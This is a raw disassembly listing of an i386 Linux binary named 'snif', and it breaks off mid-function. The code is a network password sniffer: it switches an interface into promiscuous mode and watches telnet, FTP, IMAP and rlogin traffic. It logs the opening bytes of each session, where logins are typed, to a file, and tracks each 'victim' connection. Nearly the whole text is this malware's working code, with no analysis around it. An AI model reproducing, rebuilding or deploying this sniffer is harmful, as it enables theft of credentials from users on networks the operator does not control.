
snif:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049f40 R_386_COPY        _IO_stdout_
08049f98 R_386_COPY        _IO_stderr_
08049fec R_386_COPY        __fpu_control
08049e60 R_386_JUMP_SLOT   strcpy
08049e64 R_386_JUMP_SLOT   ioctl
08049e68 R_386_JUMP_SLOT   getpid
08049e6c R_386_JUMP_SLOT   perror
08049e70 R_386_JUMP_SLOT   gethostbyaddr
08049e74 R_386_JUMP_SLOT   socket
08049e78 R_386_JUMP_SLOT   fflush
08049e7c R_386_JUMP_SLOT   alarm
08049e80 R_386_JUMP_SLOT   __libc_init
08049e84 R_386_JUMP_SLOT   fprintf
08049e88 R_386_JUMP_SLOT   signal
08049e8c R_386_JUMP_SLOT   read
08049e90 R_386_JUMP_SLOT   fopen
08049e94 R_386_JUMP_SLOT   fclose
08049e98 R_386_JUMP_SLOT   inet_ntoa
08049e9c R_386_JUMP_SLOT   time
08049ea0 R_386_JUMP_SLOT   isprint
08049ea4 R_386_JUMP_SLOT   atexit
08049ea8 R_386_JUMP_SLOT   exit
08049eac R_386_JUMP_SLOT   __setfpucw
08049eb0 R_386_JUMP_SLOT   close


Disassembly of section .init:

080485e0 <_init>:
 80485e0:	e8 47 07 00 00       	call   8048d2c <__do_global_ctors_aux>
 80485e5:	c2 00 00             	ret    $0x0
Disassembly of section .plt:

080485e8 <.plt>:
 80485e8:	ff 35 58 9e 04 08    	pushl  0x8049e58
 80485ee:	ff 25 5c 9e 04 08    	jmp    *0x8049e5c
 80485f4:	00 00                	add    %al,(%eax)
 80485f6:	00 00                	add    %al,(%eax)
 80485f8:	ff 25 60 9e 04 08    	jmp    *0x8049e60
 80485fe:	68 00 00 00 00       	push   $0x0
 8048603:	e9 e0 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048608:	ff 25 64 9e 04 08    	jmp    *0x8049e64
 804860e:	68 08 00 00 00       	push   $0x8
 8048613:	e9 d0 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048618:	ff 25 68 9e 04 08    	jmp    *0x8049e68
 804861e:	68 10 00 00 00       	push   $0x10
 8048623:	e9 c0 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048628:	ff 25 6c 9e 04 08    	jmp    *0x8049e6c
 804862e:	68 18 00 00 00       	push   $0x18
 8048633:	e9 b0 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048638:	ff 25 70 9e 04 08    	jmp    *0x8049e70
 804863e:	68 20 00 00 00       	push   $0x20
 8048643:	e9 a0 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048648:	ff 25 74 9e 04 08    	jmp    *0x8049e74
 804864e:	68 28 00 00 00       	push   $0x28
 8048653:	e9 90 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048658:	ff 25 78 9e 04 08    	jmp    *0x8049e78
 804865e:	68 30 00 00 00       	push   $0x30
 8048663:	e9 80 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048668:	ff 25 7c 9e 04 08    	jmp    *0x8049e7c
 804866e:	68 38 00 00 00       	push   $0x38
 8048673:	e9 70 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048678:	ff 25 80 9e 04 08    	jmp    *0x8049e80
 804867e:	68 40 00 00 00       	push   $0x40
 8048683:	e9 60 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048688:	ff 25 84 9e 04 08    	jmp    *0x8049e84
 804868e:	68 48 00 00 00       	push   $0x48
 8048693:	e9 50 ff ff ff       	jmp    80485e8 <_init+0x8>
 8048698:	ff 25 88 9e 04 08    	jmp    *0x8049e88
 804869e:	68 50 00 00 00       	push   $0x50
 80486a3:	e9 40 ff ff ff       	jmp    80485e8 <_init+0x8>
 80486a8:	ff 25 8c 9e 04 08    	jmp    *0x8049e8c
 80486ae:	68 58 00 00 00       	push   $0x58
 80486b3:	e9 30 ff ff ff       	jmp    80485e8 <_init+0x8>
 80486b8:	ff 25 90 9e 04 08    	jmp    *0x8049e90
 80486be:	68 60 00 00 00       	push   $0x60
 80486c3:	e9 20 ff ff ff       	jmp    80485e8 <_init+0x8>
 80486c8:	ff 25 94 9e 04 08    	jmp    *0x8049e94
 80486ce:	68 68 00 00 00       	push   $0x68
 80486d3:	e9 10 ff ff ff       	jmp    80485e8 <_init+0x8>
 80486d8:	ff 25 98 9e 04 08    	jmp    *0x8049e98
 80486de:	68 70 00 00 00       	push   $0x70
 80486e3:	e9 00 ff ff ff       	jmp    80485e8 <_init+0x8>
 80486e8:	ff 25 9c 9e 04 08    	jmp    *0x8049e9c
 80486ee:	68 78 00 00 00       	push   $0x78
 80486f3:	e9 f0 fe ff ff       	jmp    80485e8 <_init+0x8>
 80486f8:	ff 25 a0 9e 04 08    	jmp    *0x8049ea0
 80486fe:	68 80 00 00 00       	push   $0x80
 8048703:	e9 e0 fe ff ff       	jmp    80485e8 <_init+0x8>
 8048708:	ff 25 a4 9e 04 08    	jmp    *0x8049ea4
 804870e:	68 88 00 00 00       	push   $0x88
 8048713:	e9 d0 fe ff ff       	jmp    80485e8 <_init+0x8>
 8048718:	ff 25 a8 9e 04 08    	jmp    *0x8049ea8
 804871e:	68 90 00 00 00       	push   $0x90
 8048723:	e9 c0 fe ff ff       	jmp    80485e8 <_init+0x8>
 8048728:	ff 25 ac 9e 04 08    	jmp    *0x8049eac
 804872e:	68 98 00 00 00       	push   $0x98
 8048733:	e9 b0 fe ff ff       	jmp    80485e8 <_init+0x8>
 8048738:	ff 25 b0 9e 04 08    	jmp    *0x8049eb0
 804873e:	68 a0 00 00 00       	push   $0xa0
 8048743:	e9 a0 fe ff ff       	jmp    80485e8 <_init+0x8>
Disassembly of section .text:

08048750 <_start>:
 8048750:	59                   	pop    %ecx
 8048751:	89 e3                	mov    %esp,%ebx
 8048753:	89 e0                	mov    %esp,%eax
 8048755:	89 ca                	mov    %ecx,%edx
 8048757:	01 d2                	add    %edx,%edx
 8048759:	01 d2                	add    %edx,%edx
 804875b:	01 d0                	add    %edx,%eax
 804875d:	83 c0 04             	add    $0x4,%eax
 8048760:	31 ed                	xor    %ebp,%ebp
 8048762:	55                   	push   %ebp
 8048763:	55                   	push   %ebp
 8048764:	55                   	push   %ebp
 8048765:	89 e5                	mov    %esp,%ebp
 8048767:	50                   	push   %eax
 8048768:	53                   	push   %ebx
 8048769:	51                   	push   %ecx
 804876a:	b8 88 00 00 00       	mov    $0x88,%eax
 804876f:	bb 00 00 00 00       	mov    $0x0,%ebx
 8048774:	cd 80                	int    $0x80
 8048776:	8b 44 24 08          	mov    0x8(%esp,1),%eax
 804877a:	a3 40 9e 04 08       	mov    %eax,0x8049e40
 804877f:	0f b7 05 ec 9f 04 08 	movzwl 0x8049fec,%eax
 8048786:	50                   	push   %eax
 8048787:	e8 9c ff ff ff       	call   8048728 <_init+0x148>
 804878c:	83 c4 04             	add    $0x4,%esp
 804878f:	e8 e4 fe ff ff       	call   8048678 <_init+0x98>
 8048794:	68 50 8d 04 08       	push   $0x8048d50
 8048799:	e8 6a ff ff ff       	call   8048708 <_init+0x128>
 804879e:	83 c4 04             	add    $0x4,%esp
 80487a1:	e8 3a fe ff ff       	call   80485e0 <_init>
 80487a6:	e8 99 03 00 00       	call   8048b44 <main>
 80487ab:	50                   	push   %eax
 80487ac:	e8 67 ff ff ff       	call   8048718 <_init+0x138>
 80487b1:	5b                   	pop    %ebx
 80487b2:	8d b4 26 00 00 00 00 	lea    0x0(%esi,1),%esi
 80487b9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,1),%esi

080487c0 <done>:
 80487c0:	b8 01 00 00 00       	mov    $0x1,%eax
 80487c5:	cd 80                	int    $0x80
 80487c7:	eb f7                	jmp    80487c0 <done>
 80487c9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,1),%esi

080487d0 <__do_global_dtors_aux>:
 80487d0:	53                   	push   %ebx
 80487d1:	bb 50 9e 04 08       	mov    $0x8049e50,%ebx
 80487d6:	83 3d 50 9e 04 08 00 	cmpl   $0x0,0x8049e50
 80487dd:	74 0d                	je     80487ec <__do_global_dtors_aux+0x1c>
 80487df:	90                   	nop    
 80487e0:	8b 03                	mov    (%ebx),%eax
 80487e2:	ff d0                	call   *%eax
 80487e4:	83 c3 04             	add    $0x4,%ebx
 80487e7:	83 3b 00             	cmpl   $0x0,(%ebx)
 80487ea:	75 f4                	jne    80487e0 <__do_global_dtors_aux+0x10>
 80487ec:	5b                   	pop    %ebx
 80487ed:	c3                   	ret    
 80487ee:	8d 36                	lea    (%esi),%esi

080487f0 <fini_dummy>:
 80487f0:	c3                   	ret    
 80487f1:	90                   	nop    
 80487f2:	90                   	nop    
 80487f3:	90                   	nop    

080487f4 <openintf>:
 80487f4:	55                   	push   %ebp
 80487f5:	89 e5                	mov    %esp,%ebp
 80487f7:	83 ec 20             	sub    $0x20,%esp
 80487fa:	56                   	push   %esi
 80487fb:	53                   	push   %ebx
 80487fc:	8b 5d 08             	mov    0x8(%ebp),%ebx
 80487ff:	6a 08                	push   $0x8
 8048801:	6a 0a                	push   $0xa
 8048803:	6a 02                	push   $0x2
 8048805:	e8 3e fe ff ff       	call   8048648 <_init+0x68>
 804880a:	89 c6                	mov    %eax,%esi
 804880c:	83 c4 0c             	add    $0xc,%esp
 804880f:	85 f6                	test   %esi,%esi
 8048811:	7d 11                	jge    8048824 <openintf+0x30>
 8048813:	68 58 8d 04 08       	push   $0x8048d58
 8048818:	e8 0b fe ff ff       	call   8048628 <_init+0x48>
 804881d:	6a 00                	push   $0x0
 804881f:	e8 f4 fe ff ff       	call   8048718 <_init+0x138>
 8048824:	53                   	push   %ebx
 8048825:	8d 5d e0             	lea    0xffffffe0(%ebp),%ebx
 8048828:	53                   	push   %ebx
 8048829:	e8 ca fd ff ff       	call   80485f8 <_init+0x18>
 804882e:	53                   	push   %ebx
 804882f:	68 13 89 00 00       	push   $0x8913
 8048834:	56                   	push   %esi
 8048835:	e8 ce fd ff ff       	call   8048608 <_init+0x28>
 804883a:	83 c4 14             	add    $0x14,%esp
 804883d:	85 c0                	test   %eax,%eax
 804883f:	7d 17                	jge    8048858 <openintf+0x64>
 8048841:	56                   	push   %esi
 8048842:	e8 f1 fe ff ff       	call   8048738 <_init+0x158>
 8048847:	68 74 8d 04 08       	push   $0x8048d74
 804884c:	e8 d7 fd ff ff       	call   8048628 <_init+0x48>
 8048851:	6a 00                	push   $0x0
 8048853:	e8 c0 fe ff ff       	call   8048718 <_init+0x138>
 8048858:	66 81 4d f0 00 01    	orw    $0x100,0xfffffff0(%ebp)
 804885e:	53                   	push   %ebx
 804885f:	68 14 89 00 00       	push   $0x8914
 8048864:	56                   	push   %esi
 8048865:	e8 9e fd ff ff       	call   8048608 <_init+0x28>
 804886a:	83 c4 0c             	add    $0xc,%esp
 804886d:	85 c0                	test   %eax,%eax
 804886f:	7d 0a                	jge    804887b <openintf+0x87>
 8048871:	68 83 8d 04 08       	push   $0x8048d83
 8048876:	e8 ad fd ff ff       	call   8048628 <_init+0x48>
 804887b:	89 f0                	mov    %esi,%eax
 804887d:	8d 65 d8             	lea    0xffffffd8(%ebp),%esp
 8048880:	5b                   	pop    %ebx
 8048881:	5e                   	pop    %esi
 8048882:	89 ec                	mov    %ebp,%esp
 8048884:	5d                   	pop    %ebp
 8048885:	c3                   	ret    
 8048886:	8d 36                	lea    (%esi),%esi

08048888 <read_tcp>:
 8048888:	55                   	push   %ebp
 8048889:	89 e5                	mov    %esp,%ebp
 804888b:	56                   	push   %esi
 804888c:	53                   	push   %ebx
 804888d:	8b 75 08             	mov    0x8(%ebp),%esi
 8048890:	68 38 20 00 00       	push   $0x2038
 8048895:	68 10 a4 04 08       	push   $0x804a410
 804889a:	56                   	push   %esi
 804889b:	e8 08 fe ff ff       	call   80486a8 <_init+0xc8>
 80488a0:	89 c3                	mov    %eax,%ebx
 80488a2:	83 c4 0c             	add    $0xc,%esp
 80488a5:	83 fb 01             	cmp    $0x1,%ebx
 80488a8:	7e e6                	jle    8048890 <read_tcp+0x8>
 80488aa:	e8 19 00 00 00       	call   80488c8 <filter>
 80488af:	85 c0                	test   %eax,%eax
 80488b1:	74 dd                	je     8048890 <read_tcp+0x8>
 80488b3:	83 c3 ca             	add    $0xffffffca,%ebx
 80488b6:	85 db                	test   %ebx,%ebx
 80488b8:	7e d6                	jle    8048890 <read_tcp+0x8>
 80488ba:	89 d8                	mov    %ebx,%eax
 80488bc:	8d 65 f8             	lea    0xfffffff8(%ebp),%esp
 80488bf:	5b                   	pop    %ebx
 80488c0:	5e                   	pop    %esi
 80488c1:	89 ec                	mov    %ebp,%esp
 80488c3:	5d                   	pop    %ebp
 80488c4:	c3                   	ret    
 80488c5:	8d 76 00             	lea    0x0(%esi),%esi

080488c8 <filter>:
 80488c8:	55                   	push   %ebp
 80488c9:	89 e5                	mov    %esp,%ebp
 80488cb:	53                   	push   %ebx
 80488cc:	31 db                	xor    %ebx,%ebx
 80488ce:	a1 f0 a3 04 08       	mov    0x804a3f0,%eax
 80488d3:	80 78 09 06          	cmpb   $0x6,0x9(%eax)
 80488d7:	0f 85 6a 01 00 00    	jne    8048a47 <filter+0x17f>
 80488dd:	80 3d 08 a4 04 08 00 	cmpb   $0x0,0x804a408
 80488e4:	74 3a                	je     8048920 <filter+0x58>
 80488e6:	81 3d 04 a4 04 08 00 	cmpl   $0x200,0x804a404
 80488ed:	02 00 00 
 80488f0:	7e 0a                	jle    80488fc <filter+0x34>
 80488f2:	68 9d 8d 04 08       	push   $0x8048d9d
 80488f7:	e9 3b 01 00 00       	jmp    8048a37 <filter+0x16f>
 80488fc:	6a 00                	push   $0x0
 80488fe:	e8 e5 fd ff ff       	call   80486e8 <_init+0x108>
 8048903:	89 c2                	mov    %eax,%edx
 8048905:	a1 0c a4 04 08       	mov    0x804a40c,%eax
 804890a:	83 c0 1e             	add    $0x1e,%eax
 804890d:	83 c4 04             	add    $0x4,%esp
 8048910:	39 c2                	cmp    %eax,%edx
 8048912:	7e 0c                	jle    8048920 <filter+0x58>
 8048914:	68 b7 8d 04 08       	push   $0x8048db7
 8048919:	e9 19 01 00 00       	jmp    8048a37 <filter+0x16f>
 804891e:	8d 36                	lea    (%esi),%esi
 8048920:	8b 0d 48 c4 04 08    	mov    0x804c448,%ecx
 8048926:	66 8b 41 02          	mov    0x2(%ecx),%ax
 804892a:	86 c4                	xchg   %al,%ah
 804892c:	0f b7 d0             	movzwl %ax,%edx
 804892f:	89 d0                	mov    %edx,%eax
 8048931:	66 83 f8 15          	cmp    $0x15,%ax
 8048935:	75 05                	jne    804893c <filter+0x74>
 8048937:	bb 01 00 00 00       	mov    $0x1,%ebx
 804893c:	89 d0                	mov    %edx,%eax
 804893e:	66 83 f8 17          	cmp    $0x17,%ax
 8048942:	75 05                	jne    8048949 <filter+0x81>
 8048944:	bb 01 00 00 00       	mov    $0x1,%ebx
 8048949:	89 d0                	mov    %edx,%eax
 804894b:	66 3d 8f 00          	cmp    $0x8f,%ax
 804894f:	75 05                	jne    8048956 <filter+0x8e>
 8048951:	bb 01 00 00 00       	mov    $0x1,%ebx
 8048956:	89 d0                	mov    %edx,%eax
 8048958:	66 3d 01 02          	cmp    $0x201,%ax
 804895c:	75 05                	jne    8048963 <filter+0x9b>
 804895e:	bb 01 00 00 00       	mov    $0x1,%ebx
 8048963:	80 3d 08 a4 04 08 00 	cmpb   $0x0,0x804a408
 804896a:	75 59                	jne    80489c5 <filter+0xfd>
 804896c:	83 fb 01             	cmp    $0x1,%ebx
 804896f:	75 54                	jne    80489c5 <filter+0xfd>
 8048971:	f6 41 0d 02          	testb  $0x2,0xd(%ecx)
 8048975:	74 4e                	je     80489c5 <filter+0xfd>
 8048977:	8b 15 f0 a3 04 08    	mov    0x804a3f0,%edx
 804897d:	8b 42 0c             	mov    0xc(%edx),%eax
 8048980:	a3 f8 a3 04 08       	mov    %eax,0x804a3f8
 8048985:	8b 42 10             	mov    0x10(%edx),%eax
 8048988:	a3 fc a3 04 08       	mov    %eax,0x804a3fc
 804898d:	c6 05 08 a4 04 08 01 	movb   $0x1,0x804a408
 8048994:	66 8b 01             	mov    (%ecx),%ax
 8048997:	66 a3 00 a4 04 08    	mov    %ax,0x804a400
 804899d:	66 8b 41 02          	mov    0x2(%ecx),%ax
 80489a1:	66 a3 02 a4 04 08    	mov    %ax,0x804a402
 80489a7:	c7 05 04 a4 04 08 00 	movl   $0x0,0x804a404
 80489ae:	00 00 00 
 80489b1:	6a 00                	push   $0x0
 80489b3:	e8 30 fd ff ff       	call   80486e8 <_init+0x108>
 80489b8:	a3 0c a4 04 08       	mov    %eax,0x804a40c
 80489bd:	e8 8e 00 00 00       	call   8048a50 <print_header>
 80489c2:	83 c4 04             	add    $0x4,%esp
 80489c5:	8b 0d 48 c4 04 08    	mov    0x804c448,%ecx
 80489cb:	66 a1 02 a4 04 08    	mov    0x804a402,%ax
 80489d1:	66 39 41 02          	cmp    %ax,0x2(%ecx)
 80489d5:	75 70                	jne    8048a47 <filter+0x17f>
 80489d7:	66 a1 00 a4 04 08    	mov    0x804a400,%ax
 80489dd:	66 39 01             	cmp    %ax,(%ecx)
 80489e0:	75 65                	jne    8048a47 <filter+0x17f>
 80489e2:	8b 15 f0 a3 04 08    	mov    0x804a3f0,%edx
 80489e8:	a1 f8 a3 04 08       	mov    0x804a3f8,%eax
 80489ed:	39 42 0c             	cmp    %eax,0xc(%edx)
 80489f0:	75 55                	jne    8048a47 <filter+0x17f>
 80489f2:	a1 fc a3 04 08       	mov    0x804a3fc,%eax
 80489f7:	39 42 10             	cmp    %eax,0x10(%edx)
 80489fa:	75 4b                	jne    8048a47 <filter+0x17f>
 80489fc:	8a 41 0d             	mov    0xd(%ecx),%al
 80489ff:	a8 04                	test   $0x4,%al
 8048a01:	74 15                	je     8048a18 <filter+0x150>
 8048a03:	c6 05 08 a4 04 08 00 	movb   $0x0,0x804a408
 8048a0a:	6a 00                	push   $0x0
 8048a0c:	e8 57 fc ff ff       	call   8048668 <_init+0x88>
 8048a11:	68 cb 8d 04 08       	push   $0x8048dcb
 8048a16:	eb 1f                	jmp    8048a37 <filter+0x16f>
 8048a18:	a8 01                	test   $0x1,%al
 8048a1a:	75 08                	jne    8048a24 <filter+0x15c>
 8048a1c:	b8 01 00 00 00       	mov    $0x1,%eax
 8048a21:	eb 26                	jmp    8048a49 <filter+0x181>
 8048a23:	90                   	nop    
 8048a24:	c6 05 08 a4 04 08 00 	movb   $0x0,0x804a408
 8048a2b:	6a 00                	push   $0x0
 8048a2d:	e8 36 fc ff ff       	call   8048668 <_init+0x88>
 8048a32:	68 d9 8d 04 08       	push   $0x8048dd9
 8048a37:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048a3c:	50                   	push   %eax
 8048a3d:	e8 46 fc ff ff       	call   8048688 <_init+0xa8>
 8048a42:	e8 6d 02 00 00       	call   8048cb4 <clear_victim>
 8048a47:	31 c0                	xor    %eax,%eax
 8048a49:	8b 5d fc             	mov    0xfffffffc(%ebp),%ebx
 8048a4c:	89 ec                	mov    %ebp,%esp
 8048a4e:	5d                   	pop    %ebp
 8048a4f:	c3                   	ret    

08048a50 <print_header>:
 8048a50:	55                   	push   %ebp
 8048a51:	89 e5                	mov    %esp,%ebp
 8048a53:	68 e7 8d 04 08       	push   $0x8048de7
 8048a58:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048a5d:	50                   	push   %eax
 8048a5e:	e8 25 fc ff ff       	call   8048688 <_init+0xa8>
 8048a63:	a1 f0 a3 04 08       	mov    0x804a3f0,%eax
 8048a68:	8b 40 0c             	mov    0xc(%eax),%eax
 8048a6b:	50                   	push   %eax
 8048a6c:	e8 ff 01 00 00       	call   8048c70 <hostlookup>
 8048a71:	50                   	push   %eax
 8048a72:	68 e9 8d 04 08       	push   $0x8048de9
 8048a77:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048a7c:	50                   	push   %eax
 8048a7d:	e8 06 fc ff ff       	call   8048688 <_init+0xa8>
 8048a82:	83 c4 18             	add    $0x18,%esp
 8048a85:	a1 48 c4 04 08       	mov    0x804c448,%eax
 8048a8a:	66 8b 40 02          	mov    0x2(%eax),%ax
 8048a8e:	86 c4                	xchg   %al,%ah
 8048a90:	25 ff ff 00 00       	and    $0xffff,%eax
 8048a95:	50                   	push   %eax
 8048a96:	a1 f0 a3 04 08       	mov    0x804a3f0,%eax
 8048a9b:	8b 40 10             	mov    0x10(%eax),%eax
 8048a9e:	50                   	push   %eax
 8048a9f:	e8 cc 01 00 00       	call   8048c70 <hostlookup>
 8048aa4:	83 c4 04             	add    $0x4,%esp
 8048aa7:	50                   	push   %eax
 8048aa8:	68 f0 8d 04 08       	push   $0x8048df0
 8048aad:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048ab2:	50                   	push   %eax
 8048ab3:	e8 d0 fb ff ff       	call   8048688 <_init+0xa8>
 8048ab8:	89 ec                	mov    %ebp,%esp
 8048aba:	5d                   	pop    %ebp
 8048abb:	c3                   	ret    

08048abc <print_data>:
 8048abc:	55                   	push   %ebp
 8048abd:	89 e5                	mov    %esp,%ebp
 8048abf:	57                   	push   %edi
 8048ac0:	56                   	push   %esi
 8048ac1:	53                   	push   %ebx
 8048ac2:	8b 7d 08             	mov    0x8(%ebp),%edi
 8048ac5:	31 f6                	xor    %esi,%esi
 8048ac7:	01 3d 04 a4 04 08    	add    %edi,0x804a404
 8048acd:	85 ff                	test   %edi,%edi
 8048acf:	74 69                	je     8048b3a <print_data+0x7e>
 8048ad1:	8b 5d 0c             	mov    0xc(%ebp),%ebx
 8048ad4:	80 3b 0d             	cmpb   $0xd,(%ebx)
 8048ad7:	75 15                	jne    8048aee <print_data+0x32>
 8048ad9:	68 e7 8d 04 08       	push   $0x8048de7
 8048ade:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048ae3:	50                   	push   %eax
 8048ae4:	e8 9f fb ff ff       	call   8048688 <_init+0xa8>
 8048ae9:	31 f6                	xor    %esi,%esi
 8048aeb:	83 c4 08             	add    $0x8,%esp
 8048aee:	0f be 03             	movsbl (%ebx),%eax
 8048af1:	50                   	push   %eax
 8048af2:	e8 01 fc ff ff       	call   80486f8 <_init+0x118>
 8048af7:	83 c4 04             	add    $0x4,%esp
 8048afa:	85 c0                	test   %eax,%eax
 8048afc:	74 18                	je     8048b16 <print_data+0x5a>
 8048afe:	0f be 03             	movsbl (%ebx),%eax
 8048b01:	50                   	push   %eax
 8048b02:	68 f9 8d 04 08       	push   $0x8048df9
 8048b07:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048b0c:	50                   	push   %eax
 8048b0d:	e8 76 fb ff ff       	call   8048688 <_init+0xa8>
 8048b12:	46                   	inc    %esi
 8048b13:	83 c4 0c             	add    $0xc,%esp
 8048b16:	83 fe 4b             	cmp    $0x4b,%esi
 8048b19:	7e 15                	jle    8048b30 <print_data+0x74>
 8048b1b:	31 f6                	xor    %esi,%esi
 8048b1d:	68 e7 8d 04 08       	push   $0x8048de7
 8048b22:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048b27:	50                   	push   %eax
 8048b28:	e8 5b fb ff ff       	call   8048688 <_init+0xa8>
 8048b2d:	83 c4 08             	add    $0x8,%esp
 8048b30:	43                   	inc    %ebx
 8048b31:	8b 45 0c             	mov    0xc(%ebp),%eax
 8048b34:	01 f8                	add    %edi,%eax
 8048b36:	39 c3                	cmp    %eax,%ebx
 8048b38:	75 9a                	jne    8048ad4 <print_data+0x18>
 8048b3a:	8d 65 f4             	lea    0xfffffff4(%ebp),%esp
 8048b3d:	5b                   	pop    %ebx
 8048b3e:	5e                   	pop    %esi
 8048b3f:	5f                   	pop    %edi
 8048b40:	89 ec                	mov    %ebp,%esp
 8048b42:	5d                   	pop    %ebp
 8048b43:	c3                   	ret    

08048b44 <main>:
 8048b44:	55                   	push   %ebp
 8048b45:	89 e5                	mov    %esp,%ebp
 8048b47:	56                   	push   %esi
 8048b48:	53                   	push   %ebx
 8048b49:	8b 5d 08             	mov    0x8(%ebp),%ebx
 8048b4c:	68 fc 8d 04 08       	push   $0x8048dfc
 8048b51:	68 fe 8d 04 08       	push   $0x8048dfe
 8048b56:	e8 5d fb ff ff       	call   80486b8 <_init+0xd8>
 8048b5b:	89 c6                	mov    %eax,%esi
 8048b5d:	e8 b6 fa ff ff       	call   8048618 <_init+0x38>
 8048b62:	50                   	push   %eax
 8048b63:	68 08 8e 04 08       	push   $0x8048e08
 8048b68:	56                   	push   %esi
 8048b69:	e8 1a fb ff ff       	call   8048688 <_init+0xa8>
 8048b6e:	56                   	push   %esi
 8048b6f:	e8 54 fb ff ff       	call   80486c8 <_init+0xe8>
 8048b74:	68 0c 8e 04 08       	push   $0x8048e0c
 8048b79:	e8 76 fc ff ff       	call   80487f4 <openintf>
 8048b7e:	a3 4c c4 04 08       	mov    %eax,0x804c44c
 8048b83:	c7 05 f0 a3 04 08 1e 	movl   $0x804a41e,0x804a3f0
 8048b8a:	a4 04 08 
 8048b8d:	c7 05 48 c4 04 08 32 	movl   $0x804a432,0x804c448
 8048b94:	a4 04 08 
 8048b97:	6a 01                	push   $0x1
 8048b99:	6a 01                	push   $0x1
 8048b9b:	e8 f8 fa ff ff       	call   8048698 <_init+0xb8>
 8048ba0:	83 c4 24             	add    $0x24,%esp
 8048ba3:	68 fc 8c 04 08       	push   $0x8048cfc
 8048ba8:	6a 02                	push   $0x2
 8048baa:	e8 e9 fa ff ff       	call   8048698 <_init+0xb8>
 8048baf:	68 fc 8c 04 08       	push   $0x8048cfc
 8048bb4:	6a 0f                	push   $0xf
 8048bb6:	e8 dd fa ff ff       	call   8048698 <_init+0xb8>
 8048bbb:	68 fc 8c 04 08       	push   $0x8048cfc
 8048bc0:	6a 09                	push   $0x9
 8048bc2:	e8 d1 fa ff ff       	call   8048698 <_init+0xb8>
 8048bc7:	68 fc 8c 04 08       	push   $0x8048cfc
 8048bcc:	6a 03                	push   $0x3
 8048bce:	e8 c5 fa ff ff       	call   8048698 <_init+0xb8>
 8048bd3:	83 c4 20             	add    $0x20,%esp
 8048bd6:	83 fb 02             	cmp    $0x2,%ebx
 8048bd9:	75 0d                	jne    8048be8 <main+0xa4>
 8048bdb:	c7 05 f4 a3 04 08 40 	movl   $0x8049f40,0x804a3f4
 8048be2:	9f 04 08 
 8048be5:	eb 18                	jmp    8048bff <main+0xbb>
 8048be7:	90                   	nop    
 8048be8:	68 11 8e 04 08       	push   $0x8048e11
 8048bed:	68 14 8e 04 08       	push   $0x8048e14
 8048bf2:	e8 c1 fa ff ff       	call   80486b8 <_init+0xd8>
 8048bf7:	a3 f4 a3 04 08       	mov    %eax,0x804a3f4
 8048bfc:	83 c4 08             	add    $0x8,%esp
 8048bff:	83 3d f4 a3 04 08 00 	cmpl   $0x0,0x804a3f4
 8048c06:	75 18                	jne    8048c20 <main+0xdc>
 8048c08:	68 1c 8e 04 08       	push   $0x8048e1c
 8048c0d:	68 98 9f 04 08       	push   $0x8049f98
 8048c12:	e8 71 fa ff ff       	call   8048688 <_init+0xa8>
 8048c17:	6a 00                	push   $0x0
 8048c19:	e8 fa fa ff ff       	call   8048718 <_init+0x138>
 8048c1e:	8d 36                	lea    (%esi),%esi
 8048c20:	e8 8f 00 00 00       	call   8048cb4 <clear_victim>
 8048c25:	8d 76 00             	lea    0x0(%esi),%esi
 8048c28:	a1 4c c4 04 08       	mov    0x804c44c,%eax
 8048c2d:	50                   	push   %eax
 8048c2e:	e8 55 fc ff ff       	call   8048888 <read_tcp>
 8048c33:	83 c4 04             	add    $0x4,%esp
 8048c36:	80 3d 08 a4 04 08 00 	cmpb   $0x0,0x804a408
 8048c3d:	74 21                	je     8048c60 <main+0x11c>
 8048c3f:	68 46 a4 04 08       	push   $0x804a446
 8048c44:	a1 f0 a3 04 08       	mov    0x804a3f0,%eax
 8048c49:	66 8b 40 02          	mov    0x2(%eax),%ax
 8048c4d:	86 c4                	xchg   %al,%ah
 8048c4f:	25 ff ff 00 00       	and    $0xffff,%eax
 8048c54:	83 c0 d8             	add    $0xffffffd8,%eax
 8048c57:	50                   	push   %eax
 8048c58:	e8 5f fe ff ff       	call   8048abc <print_data>
 8048c5d:	83 c4 08             	add    $0x8,%esp
 8048c60:	a1 f4 a3 04 08       	mov    0x804a3f4,%eax
 8048c65:	50                   	push   %eax
 8048c66:	e8 ed f9 ff ff       	call   8048658 <_init+0x78>
 8048c6b:	83 c4 04             	add    $0x4,%esp
 8048c6e:	eb b8                	jmp    8048c28 <main+0xe4>

08048c70 <hostlookup>:
 8048c70:	55                   	push   %ebp
 8048c71:	89 e5                	mov    %esp,%ebp
 8048c73:	83 ec 04             	sub    $0x4,%esp
 8048c76:	8b 45 08             	mov    0x8(%ebp),%eax
 8048c79:	89 45 fc             	mov    %eax,0xfffffffc(%ebp)
 8048c7c:	6a 02                	push   $0x2
 8048c7e:	6a 04                	push   $0x4
 8048c80:	8d 45 fc             	lea    0xfffffffc(%ebp),%eax
 8048c83:	50                   	push   %eax
 8048c84:	e8 af f9 ff ff       	call   8048638 <_init+0x58>
 8048c89:	83 c4 0c             	add    $0xc,%esp
 8048c8c:	85 c0                	test   %eax,%eax
 8048c8e:	75 0c                	jne    8048c9c <hostlookup+0x2c>
 8048c90:	8b 45 fc             	mov    0xfffffffc(%ebp),%eax
 8048c93:	50                   	push   %eax
 8048c94:	e8 3f fa ff ff       	call   80486d8 <_init+0xf8>
 8048c99:	eb 03                	jmp    8048c9e <hostlookup+0x2e>
 8048c9b:	90                   	nop    
 8048c9c:	8b 00                	mov    (%eax),%eax
 8048c9e:	50                   	push   %eax
 8048c9f:	68 f0 9f 04 08       	push   $0x8049ff0
